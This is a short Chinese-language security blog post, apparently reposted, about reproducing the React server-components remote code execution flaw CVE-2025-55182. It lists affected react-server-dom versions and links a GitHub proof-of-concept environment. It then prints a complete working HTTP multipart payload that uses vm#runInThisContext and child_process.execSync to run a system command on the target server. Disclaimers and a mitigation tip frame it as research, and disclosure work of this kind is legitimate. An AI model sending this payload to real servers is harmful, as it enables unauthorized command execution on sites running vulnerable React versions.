文章总结: ReactRCE漏洞CVE-2025-55182影响react-server-dom-parcel、react-server-dom-webpack和react-server-dom-turbopack的19.0.0、19.1.0、19.1.1和19.2.0版本,攻击者可通过特制HTTP请求执行任意命令。文章提供了GitHub上的复现环境和POC代码,展示了如何利用该漏洞执行系统命令。建议受影响版本用户尽快升级或采取缓解措施。
综合评分: 85
文章分类: 漏洞分析,WEB安全,漏洞预警,代码审计
React RCE (CVE-2025-55182)漏洞复现
原创
红细胞安全实验室
红细胞安全实验室
2025年12月4日 10:35
广东
影响版本
ounter(lineounter(lineounter(linereact-server-dom-parcel(19.0.0、19.1.0、19.1.1 和 19.2.0)react-server-dom-webpack(19.0.0、19.1.0、19.1.1 和 19.2.0)react-server-dom-turbopack(19.0.0、19.1.0、19.1.1 和 19.2.0)
漏洞复现
复现环境链接如下(建议在虚拟机环境等隔离环境运行,防止投毒事件)
https://github.com/ejpir/CVE-2025-55182-poc/
成功复现
POC如下:
POST /formaction HTTP/1.1Host: 127.0.0.1:3002Content-Type: multipart/form-data; boundary=----Boundary123Content-Length: 302
------Boundary123Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary123Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary123--
免责声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。红细胞安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容, 不得以任何方式将其用于商业目的。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红细胞安全实验室 红细胞安全实验室《React RCE (CVE-2025-55182)漏洞复现》